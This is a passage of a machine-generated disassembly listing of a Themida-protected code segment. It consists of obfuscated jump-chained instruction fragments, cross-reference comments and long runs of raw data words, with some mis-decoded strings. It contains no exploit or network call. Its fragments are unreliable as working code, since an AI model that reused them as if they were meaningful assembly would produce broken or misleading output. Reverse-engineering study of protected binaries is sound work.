0EF29694Ch, 4DE9815Dh dd 1574713h, 4DC181F9h, 8B574713h, 0C481243Ch, 4, 0E981E901h dd 2ACE6900h, 2C1835Dh, 2474FF51h, 240C8B04h, 4C481h, 48F0000h dd 24248B24h, 0E9028864h, 0FFFFA81Bh ; --------------------------------------------------------------------------- loc_5584A8: ; CODE XREF: Themida_:005628C1j xor bh, al mov eax, [esp] push ebx push esp jmp loc_55EA37 ; --------------------------------------------------------------------------- dd 4BFh, 8BFB0100h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 4DC7h mov [esp], edi push ecx push 46701474h pop ecx sub ecx, 46701472h mov edi, ecx pop ecx add ebx, edi mov edi, [esp] push eax push esp jmp loc_55CF11 ; --------------------------------------------------------------------------- word_5584F2 dw 8B66h ; DATA XREF: Themida_:00552C68o dd 1C682404h, 0E900005Ch, 77B7h, 83242C8Bh, 6804C4h, 57000000h dd 0AE4CCEBFh, 247C2973h, 4295F04h, 24048124h, 73AE4CCEh dd 91C5E9h db 0 byte_558525 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552C58o dd 411F6824h, 52E90000h, 5CFFFFC5h, 0BE243489h, 0F0BDE8B9h dd 0E705E951h, 0FF5C0000h, 96E92434h, 81FFFFD8h, 534E1BC9h dd 7BE98116h, 895EF34Fh, 0B60FE9CEh, 3ABEFFFFh, 1662A47h dd 24348BF3h, 4C481h, 0DBF70000h, 0F702E3C1h, 0D9E8E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55857A: ; CODE XREF: Themida_:00556458j sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edi mov edi, 800h and eax, edi push dword ptr [esp] pop edi jmp loc_553CF3 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8704C783h, 8F5C243Ch, 248B2404h, 0CB3BE924h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr ebp, 4 add ebp, 0FB988EEh sub ecx, ebp push dword ptr [esp] pop ebp push 3C96h mov [esp], edi jmp loc_55D825 ; --------------------------------------------------------------------------- dw 0B151h dd 59C8281Bh, 0D828BF2Ch, 0FFC53AE9h, 24148BFFh, 565BE9h db 0 ; --------------------------------------------------------------------------- loc_5585FD: ; CODE XREF: Themida_:005645F8j add ebp, 0F118D787h jmp loc_55EDBA ; --------------------------------------------------------------------------- dd 4C381h, 5AE90000h, 1FFFFD9h, 0A982E9DEh, 0E957FFFFh dd 3700h ; --------------------------------------------------------------------------- loc_558620: ; CODE XREF: Themida_:00566E6Cj push edi xor dword ptr [esp], 9D76133h jmp loc_56202B ; --------------------------------------------------------------------------- loc_55862D: ; CODE XREF: Themida_:0055BDC8j xor ebx, [esp] jmp loc_566D82 ; --------------------------------------------------------------------------- db 81h, 0E3h, 0E9h dd 0F727D051h, 8E3C1DBh, 486EF381h, 0F3816A5Ch, 306E3F39h dd 9CE4C381h, 0D9314D57h, 56241C8Bh, 0EC81E689h, 4, 0FFAB9DE9h dd 0AB0F66FFh, 0E99C2404h, 0FFFFA653h, 7DD168h, 240C8900h dd 448668h, 241C8900h, 81D08850h, 4ECh, 240C8900h, 4EC81h dd 0E0E90000h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558697: ; CODE XREF: Themida_:005659ADj pop eax push ebp push 23C7h mov [esp], esp jmp loc_562073 ; --------------------------------------------------------------------------- dw 0C89h dd 5355B524h, 27FFE9h db 0 ; --------------------------------------------------------------------------- loc_5586B1: ; CODE XREF: Themida_:00555635j pop eax jmp loc_564054 ; --------------------------------------------------------------------------- loc_5586B7: ; CODE XREF: Themida_:0056640Ej add esp, 4 push ecx mov ecx, esp push edx jmp loc_56577C ; --------------------------------------------------------------------------- db 56h dd 127A7EBEh, 18570539h, 0F0291C5Ah, 5A18572Dh, 0EA055E1Ch dd 18B0D1Ah, 685758C2h, 5B95h, 0DFD5E9h, 244C0100h, 148B5904h dd 5EF06824h, 3C890000h, 0A61DE924h, 99680000h, 89000048h dd 39BA2414h, 0E91DFD28h, 5A11h, 4C281h, 0C2830000h, 3C98E904h dd 0EDBA0000h, 87406959h, 87DBF7DAh, 69E956DAh, 83000023h dd 0C8704C1h, 0C6835C24h, 1C776802h, 34890000h, 2474FF24h dd 2434FF04h db 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_565AE5 ; --------------------------------------------------------------------------- loc_558751: ; CODE XREF: Themida_:00563F93j sub ecx, 22B40352h and ecx, 494969D7h not ecx neg ecx jmp loc_560585 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0EE830000h, 74FF5604h, 348B0424h, 4C48124h dd 8F000000h, 895C2404h, 74FF2414h, 148B0424h, 4C48324h dd 5C24048Fh, 54241C89h, 4C3815Bh, 83000000h, 1C8702C3h dd 0C4D6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5587AA: ; CODE XREF: Themida_:005604CDj mov eax, 567E065Ch push ecx mov ecx, 0B43551Ch xor eax, ecx mov ecx, [esp] add esp, 4 add ecx, eax pop eax jmp loc_562FA5 ; --------------------------------------------------------------------------- loc_5587C8: ; CODE XREF: Themida_:0055BB16j push ebx mov bh, dl mov ch, bh mov ebx, [esp] jmp loc_55B180 ; --------------------------------------------------------------------------- db 55h, 0E9h, 96h dd 68FFFFCDh, 4CB9h, 0BB241C89h, 5D9346A2h, 2D8BCB81h dd 5EE94BEBh, 53FFFFF1h, 0FCE9E389h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5587FB: ; CODE XREF: Themida_:0055765Bj mov [esp], ecx push esp pop ecx push ebx mov ebx, 6BEB682Eh jmp loc_554381 ; --------------------------------------------------------------------------- loc_55880B: ; CODE XREF: Themida_:0056559Bj or ecx, eax pop eax shl ecx, 1 push edx jmp loc_55EBCA ; --------------------------------------------------------------------------- dw 0C89h dd 66036824h, 0EE90000h, 890000A9h, 20E9241Ch, 81FFFFCEh dd 4C4h, 2EE8E900h, 0BB530000h, 0F159C62Eh, 79E9DE29h dd 8100008Bh, 4ECh, 241C8900h, 2F10A7BBh, 0F7F3876Ah, 0C1F387D6h dd 0D3F708EBh, 698DCB81h, 0EC837DF9h, 242C8904h, 265FFFBDh dd 8647E973h, 56530000h, 0FFBBF4E9h, 2474FFFFh, 48F5F04h dd 30FF5C24h, 0FFC9F3E9h, 34F1BFFFh, 13BE253Ah, 1DAC5CBh dd 0F2295FFEh, 2414875Eh, 8924248Bh, 0BF57242Ch, 57FF4895h dd 3C8BFD89h, 0FD08E924h, 0E9B0FFFFh, 5866C500h, 0DDC3E9h dd 0EFC15F00h, 4DC78108h, 81FF17E9h, 100D0FC1h, 30E9816Fh dd 102BC0Ah, 30C181F9h, 5602BC0Ah, 0FFE57EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5588E1: ; CODE XREF: Themida_:00556F8Bj mov esp, [esp] add ecx, 64301DA6h jmp loc_557A07 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 10F2E9h, 4EF8300h, 31243C33h, 3C33243Ch dd 3644E924h, 0BF570000h, 7418485Ch, 2639CF81h, 0DFF76209h dd 7EAF68h, 311EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558926: ; CODE XREF: Themida_:00560786j push esp pop ecx add ecx, 4 push edx mov edx, 4 sub ecx, 5A1311D9h add ecx, edx add ecx, 5A1311D9h mov edx, [esp] jmp loc_55CF56 ; --------------------------------------------------------------------------- dw 0C681h dd 11CBF496h, 1F06B951h, 0C8014C18h, 1DE70559h, 0F0015D7Fh dd 0B3EBE9h db 0 ; --------------------------------------------------------------------------- loc_558965: ; CODE XREF: Themida_:005668B9j or ebp, 4F7B1C3Eh xor ebp, 0BDB82BABh jmp loc_55D3D1 ; --------------------------------------------------------------------------- dw 78BAh dd 296D4328h, 3C8B5AD1h, 4C48324h, 94685057h, 584EAF74h dd 5676E9h, 40500h, 0FF500000h, 58042474h, 5C24048Fh, 5A2434FFh dd 0A290E9h, 5757B200h, 0C781E789h, 4, 8704EF83h, 69E9243Ch dd 10000E0h, 0A084E9D5h, 0C7810000h, 0E1C086C8h, 0FFADC5E9h dd 241487FFh, 0E33EE9h db 0 ; --------------------------------------------------------------------------- loc_5589D9: ; CODE XREF: Themida_:00564605j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 1 push esi mov esi, 8481887h and esi, 50F558AEh and esi, 667A5EE6h sub esp, 4 mov [esp], ecx mov ecx, 6C105E2h jmp loc_556FD9 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9240C89h, 0FFFFF938h, 6624248Bh, 2404AB0Fh, 0A291E99Ch dd 0E228FFFFh, 68665866h, 89666395h, 74B5240Ch, 0FCE9EA00h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A47: ; CODE XREF: Themida_:0055337Cj push edx mov edx, 1A3246FAh shr edx, 2 dec edx shl edx, 3 sub edx, 0E5481619h and esi, edx jmp loc_5669BC ; --------------------------------------------------------------------------- db 81h, 0F7h, 8Bh dd 0E9C475EDh, 0A71Dh, 1DE9C131h, 81FFFFE0h, 0F8200DC3h dd 5BDF2961h, 3C8BF829h, 4C48324h, 9122E9h db 0 ; --------------------------------------------------------------------------- loc_558A89: ; CODE XREF: Themida_:0055A6FFj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push edi jmp loc_55B07C ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 467E9h db 0 ; --------------------------------------------------------------------------- loc_558AAD: ; CODE XREF: Themida_:005533CDj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55F9E4 ; --------------------------------------------------------------------------- db 21h, 0E8h, 5Dh dd 0AB65BF35h, 0E9C18916h, 0FFFFCAF7h, 5004C483h, 4B8h dd 0DCFAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558ADA: ; CODE XREF: Themida_:0056323Aj mov eax, esp add eax, 4 jmp loc_5593E5 ; --------------------------------------------------------------------------- loc_558AE6: ; CODE XREF: Themida_:00556481j push esi jmp loc_563E6B ; --------------------------------------------------------------------------- dd 0FFDD3158h, 1C8B2434h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 4C4815Ch, 52000000h, 20AA9D68h, 0D5315A23h dd 5A2434FFh, 4C481h, 74E90000h, 55FFFFDFh, 4A8487BDh dd 0AA20E9A0h, 4BD0000h, 29000000h, 4875DE8h, 0C895C24h dd 83E18924h, 148904ECh, 0E6E1E924h, 2EBDFFFFh, 0E92BE459h dd 0FFFFDCB7h ; --------------------------------------------------------------------------- loc_558B54: ; CODE XREF: Themida_:00552DB2j mov [esp], edx jmp loc_555A21 ; --------------------------------------------------------------------------- loc_558B5C: ; CODE XREF: Themida_:0055A845j pop esp push edi mov edi, 3B8327F1h xor eax, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 156A2449h push edx jmp loc_55D76C ; --------------------------------------------------------------------------- dw 4AB9h dd 81384759h, 82609BE9h, 0C8BB535Eh, 936F171h, 0BA525BD9h dd 0 dd 0D189CA29h, 0FCA5E95Ah, 815DFFFFh, 10EDE6EDh, 0EB89539Ah dd 0FFA12FE9h, 4C283FFh, 5C241487h, 0FFF254E9h, 2BEFFh dd 0FFE90000h, 0BFFFFFAAh, 372520DDh, 0E95FFB29h, 0FFFFF0F2h dd 0C781D7F7h, 4FCF53A6h, 0FFCAE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_558BDD: ; CODE XREF: Themida_:0055A295j xchg ecx, esi not esi inc esi xchg edx, esi not edx xchg edx, esi jmp loc_566464 ; --------------------------------------------------------------------------- loc_558BED: ; CODE XREF: Themida_:005643F6j pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx mov ecx, 7FC5787Bh xchg eax, ecx jmp loc_55CB2C ; --------------------------------------------------------------------------- loc_558C08: ; CODE XREF: Themida_:0055E855j mov [esp], ebx push 24710BE4h jmp loc_5647B6 ; --------------------------------------------------------------------------- loc_558C15: ; CODE XREF: Themida_:005532D1j shr edx, 3 shr edx, 7 and edx, 5B56C66h push edi mov edi, 16B9E950h add edx, edi pop edi add ebp, edx jmp loc_555842 ; --------------------------------------------------------------------------- loc_558C31: ; CODE XREF: Themida_:0055BECCj add edi, esi sub edi, 102138Dh mov esi, [esp] add esp, 4 jmp loc_55EB7C ; --------------------------------------------------------------------------- byte_558C47 db 0FFh ; DATA XREF: Themida_:00552A48o dd 74E92C77h, 81FFFFA0h, 4977A7EAh, 81FA0105h, 4977A7C2h dd 243C8B05h, 4C481h, 34FF0000h, 0C4815D24h, 4, 5CE9E9h dd 4EC8100h, 89000000h, 0E9512414h, 54D8h, 6BB184B6h, 99E9F130h dd 68000063h, 6A83h, 54243C89h, 83243C8Bh, 9E6804C4h, 8900001Bh dd 0C7E92434h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_558CAB: ; CODE XREF: Themida_:00567495j push dword ptr [esp] pop ecx add esp, 4 sub edi, eax mov eax, edi jmp loc_5573E3 ; --------------------------------------------------------------------------- db 0BBh dd 34FD2EFFh, 14B6E943h, 348B0000h, 4C48324h, 0E924048Fh dd 9539h, 0D3E9C801h, 8100004Ch, 4EDh, 242C8700h, 6C13E9h dd 43452D00h, 0E95E0558h, 7C19h ; --------------------------------------------------------------------------- loc_558CF4: ; CODE XREF: Themida_:0055D2ECj push edi push 4 jmp loc_55DA48 ; --------------------------------------------------------------------------- db 5Ah dd 2A1F68h, 24148900h, 2434FF54h, 4C4835Ah, 0FFF9FBE9h dd 2474FFFFh, 8B9BE904h, 4890000h, 1A81B824h, 0BABA4FA1h dd 81819599h, 630635EAh, 81C2290Eh, 630635C2h, 90BF580Eh dd 294BF38Eh, 24148BD7h, 8104C483h, 0FF0F53EFh, 0EAB85019h dd 29163570h, 0F90158C1h, 70EAC181h, 3C8B1635h, 4C48324h dd 0FFA62EE9h, 59C831FFh, 4C068h, 243C8900h, 0A2F9E9h db 0 byte_558D79 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552A08o dd 57240C8Bh, 3722E9h, 0DEF38100h, 4B57564Eh, 0A23B951h dd 0E9811EDEh, 4FB47CECh, 6A37BA52h, 0D1090484h, 0F7D1F75Ah dd 3E9C1D1h, 0FFE288E9h db 0FFh ; --------------------------------------------------------------------------- loc_558DAD: ; CODE XREF: Themida_:0055ABE4j pop esp loc_558DAE: ; CODE XREF: Themida_:loc_564990j push 42CCh mov [esp], ebx push edi mov edi, 49842D40h jmp loc_55E5C8 ; --------------------------------------------------------------------------- loc_558DC1: ; CODE XREF: Themida_:0056203Aj pop ecx mov edx, ebx pop ebx pop edi mov esi, edx pop edx add ecx, esi jmp loc_567602 ; --------------------------------------------------------------------------- dd 5015F781h, 0F829FBD0h, 4658055Fh, 0F80163DFh, 4295E9h dd 6800h, 0B9510000h, 5A0802h, 4244C29h, 81240C8Bh, 4C4h dd 243C2900h, 6709E9h, 9EB9E900h, 0E952FFFFh, 0FFFF9FCDh dd 2404335Fh, 33240431h, 248B2404h, 9EA1E924h, 0FF57FFFFh dd 8B042474h, 0C483243Ch, 24048F04h, 0E924248Bh, 6623h ; --------------------------------------------------------------------------- loc_558E38: ; CODE XREF: Themida_:00559B9Cj add esp, 4 jmp loc_556407 ; --------------------------------------------------------------------------- dd 0FFFFED81h, 0E5C1FFFFh, 0C0C58107h, 8909858Bh, 0C6815DEEh dd 1, 0F705E6C1h, 0EE6852D6h, 5A112A4Ch, 168FC281h, 57E92B8Ch dd 87000087h, 0E95C2434h, 7F4Fh, 0E9CA015Bh, 9450h, 553868h dd 241C8900h, 0EC22C2BBh, 74CB815Bh, 81464B38h, 8C03ECC3h dd 6E65E90Bh, 2C330000h, 24248B24h, 68C8B70Fh, 4EE0h, 68240489h dd 3A72h, 50ADE9h, 87D5F700h, 0E98149E9h, 4287BE9Ch, 5059CB21h dd 9F66B7B8h, 5E0C144h, 0E30C5D25h, 570F0551h, 0C301303Eh dd 0F0B6E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558EE2: ; CODE XREF: Themida_:00554776j pop edx shr ecx, 2 sub esp, 4 mov [esp], edi mov edi, 34476E2Ch xor edi, 455F4B62h add ecx, 4AAF535Eh jmp loc_5570A6 ; --------------------------------------------------------------------------- db 66h, 89h, 0Ch dd 4EC8124h, 0E9000000h, 25BAh, 0F381D3F7h, 0B7F7EF7Fh dd 0E6068h, 241C8900h, 83242C81h, 5872CF3Dh, 0CF3D8305h dd 0C5015B72h, 0A843E9h, 241C8B00h, 0A2DCE9h db 0 ; --------------------------------------------------------------------------- loc_558F41: ; CODE XREF: Themida_:0055CF71j mov edx, [esp] add esp, 4 jmp loc_563B55 ; --------------------------------------------------------------------------- loc_558F4F: ; CODE XREF: Themida_:00562276j add esp, 4 xor eax, [esp] jmp loc_565E73 ; --------------------------------------------------------------------------- db 0BBh, 64h, 17h dd 0A9E9401Fh, 890000D8h, 43E9242Ch, 52000082h, 0EEC0FEB6h dd 70B45008h, 0E952EC80h, 0FFFFF361h, 4C181h, 0DF680000h dd 89000019h, 4BE2434h, 81000000h, 915A3C1h, 8FD7E938h dd 0E2810000h, 4FD6683Eh, 65F28142h, 420B6A6Ch, 3AC5F281h dd 0D001631Eh, 2DF0295Ah, 27E416BAh, 0FFFD28E9h db 0FFh byte_558FC1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AB8o dd 0E9545024h, 8F06h, 34180DBEh, 0DBE68165h, 0E9714863h dd 0FFFFA7D4h, 6203A5F3h, 89E95038h, 8B000065h, 0C4832404h dd 4C48104h, 81000000h, 4C7h, 243C8700h, 0E924248Bh, 0FFFFFD65h dd 4C5BC181h, 0C3819E24h, 20EE4B13h, 0FDE9CB29h, 87000047h dd 895C243Ch, 0E789243Ch, 0FFA02EE9h db 0FFh ; --------------------------------------------------------------------------- loc_559025: ; CODE XREF: Themida_:0055A7CFj push dword ptr [esp] pop ecx add esp, 4 jmp loc_55CBAB ; --------------------------------------------------------------------------- dd 5124048Bh, 0B3E2E9h db 0 ; --------------------------------------------------------------------------- loc_55903D: ; CODE XREF: Themida_:00563EDDj not edi or edi, 4B1E6003h sub edi, 0FF5F7A53h add ebx, edi pop edi add ebx, 4 jmp loc_55D068 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55C507 ; --------------------------------------------------------------------------- loc_55906A: ; CODE XREF: Themida_:00565096j mov ebx, esp jmp loc_55FB2E ; --------------------------------------------------------------------------- loc_559071: ; CODE XREF: Themida_:00554C28j pop ebx push ecx jmp loc_556F54 ; --------------------------------------------------------------------------- dd 0E581DDF7h, 2AE41CBCh, 81EDD145h, 0C46D1E5h, 14F5811Ch dd 53140000h, 4E29B850h, 4EE91585h, 8900001Dh, 0E3E958C6h dd 50000024h, 0D337E9h, 61BA5200h, 811FF619h, 358B2E2h dd 0DB15E903h, 0BA520000h, 4B07A88h, 0FFA35AE9h, 240C8BFFh dd 5604C483h, 3E8C68h, 41C3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5590D6: ; CODE XREF: Themida_:0055DD78j push 399h mov [esp], eax push 2CE104B5h pop eax push edi mov edi, 0D31EFBCBh jmp loc_553469 ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 8C9Fh, 8103EBC1h, 603509C3h, 0B4F3810Ch dd 2913B951h, 295A5BDEh, 0EDE95EF3h, 0FF000030h, 5E042474h dd 5C24048Fh, 8904EC83h, 4E92414h, 81000061h, 4C5h, 4C58300h dd 8B242C87h, 0BE562424h, 2, 535EF301h, 42474FFh, 24048F5Bh dd 0FE24248Bh, 0E99C2404h, 0FFFF9B6Fh, 0E907E4C0h, 142Ah dd 89240489h, 4EC81E0h, 89000000h, 35BB241Ch, 81013C31h dd 872341E3h, 0B6B9E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55917A: ; CODE XREF: Themida_:00560032j pop edx add esp, 4 or eax, eax jmp loc_55CB0D ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 2434895Ch, 75030CBEh, 5EF30144h, 5E0FEB81h, 0D3293CEFh dd 5E0FC381h, 0F2683CEFh, 89000039h, 0F3BF243Ch, 5275B105h dd 345749BAh, 70BBE932h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5591BA: ; CODE XREF: Themida_:00564BB3j add ebx, esi jmp loc_5532FD ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4003E9h, 501D6800h, 7CE90000h, 52000066h, 0C281E289h dd 4, 4EA81h, 14870000h, 24895C24h, 24048124h, 4, 40558h dd 0EC810000h, 4, 0E9240C89h, 0FFFFFEA5h, 0FF241489h, 8B042474h dd 5CE92414h, 8B0000DDh, 8953242Ch, 2A9668E3h, 2C890000h dd 4BD24h, 0C3810000h, 5781309Ch, 0E45FE9h, 24348900h dd 4EC81h, 1C890000h, 0B69AE924h, 0C781FFFFh, 6920B2C2h dd 98E9FA01h, 51FFFFCFh, 0E955E189h, 0FFFFACC1h, 0E9243487h dd 0BF1Ah, 7665E281h, 71E957DAh, 8B0000C9h, 8953243Ch dd 4C381E3h, 83000000h, 1C8704C3h, 81515C24h, 4ECh, 2403E900h dd 248B0000h, 24048924h, 6BEEE9h, 5DEB8900h, 0CBE8E943h dd 5866FFFFh, 43540566h, 0FF9E75E9h, 0E9D6F6FFh, 4F62h dd 40B168h, 24048900h, 9E408BB8h, 0C654E91Bh, 0F7560000h dd 515E2414h, 0A35F5DB9h, 9E1816Dh, 0D108ED0Ch, 2E9C1E1h dd 4636E981h, 5241591Bh, 866E54BAh, 5C5FE974h, 0EA810000h dd 3B092C1Ah, 81F20159h, 706BD7EAh, 24348B62h, 4C481h dd 0B8500000h, 2, 3358C201h, 14312414h, 0D73EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559316: ; CODE XREF: Themida_:00554D01j add edi, 4 jmp loc_555A3E ; --------------------------------------------------------------------------- db 68h, 95h, 19h dd 34890000h, 81E68924h, 4C6h, 8611E900h, 0F7810000h, 0FC0469Fh dd 73A1EF81h, 474F7AD5h, 9076EF81h, 5CE9A556h, 0E9FFFFA5h dd 0FFFF996Fh, 4B2DF801h, 0FF521B6Eh, 835F2434h, 116804C4h dd 0E900006Ch, 2D29h, 0EEBB5355h, 8901AC2Bh, 0EE095BDDh dd 0E92434FFh, 8F22h, 0F5315859h, 0EC81515Eh, 4, 0E9242C89h dd 0A315h ; --------------------------------------------------------------------------- loc_559394: ; CODE XREF: Themida_:00564581j sub esp, 4 mov [esp], edx mov edx, 72254724h xor edi, edx pop edx xor esi, edi pop edi xor esi, 360334FAh push edi mov edi, esi push edi jmp loc_562719 ; --------------------------------------------------------------------------- dd 2474FF53h, 48F5B04h, 14895C24h, 4EC8324h, 0B4240489h dd 80CCFEE5h, 0BAE9DFC4h, 31FFFFB7h, 4EC81D8h, 89000000h dd 0E589242Ch, 2C8FE9h db 0 ; --------------------------------------------------------------------------- loc_5593E5: ; CODE XREF: Themida_:00558AE1j add eax, 4 xchg eax, [esp] pop esp and ecx, esi push dword ptr [esp] jmp loc_5654A9 ; --------------------------------------------------------------------------- aLSa db '▀$$ИAъ',0 ; DATA XREF: Themida_:00552C2Co align 10h loc_559400: ; CODE XREF: Themida_:0055DFAFj push ebx mov ebx, esp jmp loc_55D9C4 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0E389241Ch, 4C381h dd 0E9560000h, 9052h, 480D22BFh, 90E78154h, 8158A74Fh dd 674436EFh, 14C7812Bh, 0E901670Ah, 0FFFFF582h, 4B8h dd 58C32900h, 0FFB22BE9h, 8E1C1FFh, 5EE9E987h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55945B: ; CODE XREF: Themida_:00556402j sub al, dl pop dx push ebx mov bh, 9Fh sub bh, 0D2h sub al, bh pop ebx add al, bl add al, 0CDh push ecx sub esp, 4 jmp loc_55F0FA ; --------------------------------------------------------------------------- dd 1279AB9h, 22E9812Eh, 29B236CCh, 0C40CE9CBh, 0BB530000h dd 5CDF53EEh, 854F381h, 0E9514048h, 241Ah ; --------------------------------------------------------------------------- loc_55949C: ; CODE XREF: Themida_:0055B5CBj add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_5583A5 ; --------------------------------------------------------------------------- byte_5594B7 db 66h ; DATA XREF: Themida_:00552C20o dd 6824048Bh, 257Ah, 0FFE680E9h, 0E9D601FFh, 0D328h, 8B66D988h dd 0C481241Ch, 2, 47E9C800h, 81000055h, 4C6h, 4C68300h dd 5C243487h, 31242C33h, 2C33242Ch, 8806E924h, 2C890000h dd 2DB95124h, 0E9620F3Fh, 8ABBh, 74FF5059h, 2FE90424h dd 5D0000DCh, 4C281h, 14870000h, 0B9515C24h, 2, 5559CD01h dd 42474FFh, 24048F5Dh, 0E924248Bh, 54A9h, 245BE951h, 0EA810000h dd 5D282472h, 0C368534Ah, 0E91C7132h, 0B48Eh, 16FA7B9h dd 59CB0966h, 0E906E3C1h, 0C7BDh, 42474FFh, 55241C8Bh dd 0FF9A75E9h, 4C483FFh, 8B241487h, 0F662424h, 6866C8BEh dd 89661895h, 3CE9240Ch, 5EFFFF97h, 7005E9h, 8BCA0100h dd 0C481240Ch, 4, 0E9241487h, 0D0FFh, 0DA88E388h, 0E9241C8Bh dd 0D101h dword_5595AC dd 582434FFh, 2F8268h, 24348900h, 0BD55E689h, 4, 4F61EE81h ; DATA XREF: Themida_:00552A28o dd 0EE016391h, 4F61C681h, 2C8B6391h, 4C48124h, 83000000h dd 348704EEh, 43F6E924h, 0B9510000h, 0 aSuqssr db ')ИUQИИЮ',0 dd 20B95100h, 0F7020F0Fh, 19FAE9D1h, 78BA0000h, 0C145F907h dd 0DEE908E2h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55960B: ; CODE XREF: Themida_:0056784Ej sub esp, 4 mov [esp], ebx push 67FE3197h jmp loc_55E1AE ; --------------------------------------------------------------------------- db 54h dd 40558h, 0EC810000h, 4, 0BA241489h, 21C02B0Ch, 5ACF68h dd 241C8900h, 2B68E389h, 89000044h, 52E9242Ch, 890000B0h dd 4812424h, 424h, 0C5815D00h, 4, 4C581h, 0D1680000h, 8900006Dh dd 74FF242Ch, 2C8B0424h, 87BCE924h, 8ABE0000h, 81026168h dd 0FD4943E6h, 0E9DEF753h, 7A94h ; --------------------------------------------------------------------------- loc_559684: ; CODE XREF: Themida_:0055BAEEj sub esp, 4 mov [esp], eax mov eax, esp push edi jmp loc_5534F0 ; --------------------------------------------------------------------------- dw 0F766h dd 0CAEFE9D1h, 0C481FFFFh, 4, 8E23E9h db 0 ; --------------------------------------------------------------------------- loc_5596A5: ; CODE XREF: Themida_:0055B17Bj add esp, 4 push 50E6h mov [esp], ecx push esi mov esi, 199D4565h push eax mov eax, 77C262D3h jmp loc_553627 ; --------------------------------------------------------------------------- db 54h, 5Fh, 0E9h dd 16AEh, 0E9240C89h, 21ACh ; --------------------------------------------------------------------------- loc_5596D0: ; CODE XREF: Themida_:00566098j push edx push ebx jmp loc_563A3D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 183EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5596E2: ; CODE XREF: Themida_:0055A231j not edx and edx, 6CF42BA8h add edx, 0F75BFC7Ch add ecx, edx jmp loc_56385D ; --------------------------------------------------------------------------- db 50h dd 4B8h, 2ED8100h, 0E952891Eh, 327Ah ; --------------------------------------------------------------------------- loc_559708: ; CODE XREF: Themida_:0055C196j sub edx, edi push dword ptr [esp] pop edi add esp, 4 add ecx, 4056825h sub ecx, 8F6784Dh add ecx, edx add ecx, 8F6784Dh jmp loc_5571C4 ; --------------------------------------------------------------------------- db 50h, 0FFh, 74h dd 48B0424h, 4C48324h, 5C24048Fh, 0E95DE901h, 6E9Bh, 77A7F581h dd 0E5811DF2h, 50264954h, 6914E581h, 0ED813A5Bh, 0A7255D1h dd 0CA30F581h, 2EE9C335h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559767: ; CODE XREF: Themida_:00556123j and ebp, 379830A8h inc ebp shr ebp, 3 add ebp, 0FBCCF9F1h sub esi, ebp mov ebp, [esp] add esp, 4 shl esi, 6 push eax push 0ECD4A11h push dword ptr [esp] pop eax add esp, 4 jmp loc_5663F5 ; --------------------------------------------------------------------------- dw 0C381h dd 121986B4h, 815BDA29h, 6362B5E9h, 1005E959h, 10E90000h dd 81FFFF95h, 4ECh, 241C8900h, 58B68h, 242C8900h, 2D6FE9h db 0 ; --------------------------------------------------------------------------- loc_5597C9: ; CODE XREF: Themida_:0055AA0Fj add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push ecx jmp loc_55A550 ; --------------------------------------------------------------------------- db 0F6h aSnk db 'зИ█┼',0 align 2 loc_5597EE: ; CODE XREF: Themida_:00557374j push esp jmp loc_5558CC ; --------------------------------------------------------------------------- loc_5597F4: ; CODE XREF: Themida_:005538FBj xor ebp, [esp] jmp loc_567397 ; --------------------------------------------------------------------------- dd 4240483h, 81241C8Bh, 4C4h, 4BA5200h, 81000000h, 0A60FECC3h dd 51D3015Bh, 0A60FECB9h, 0E9CB295Bh, 0FFFFC573h, 0C4DC181h dd 0E9297288h, 7FA7E9h, 243C8900h, 5684B951h, 4AE9284Ah dd 56FFFFD5h, 4BEh, 40770500h, 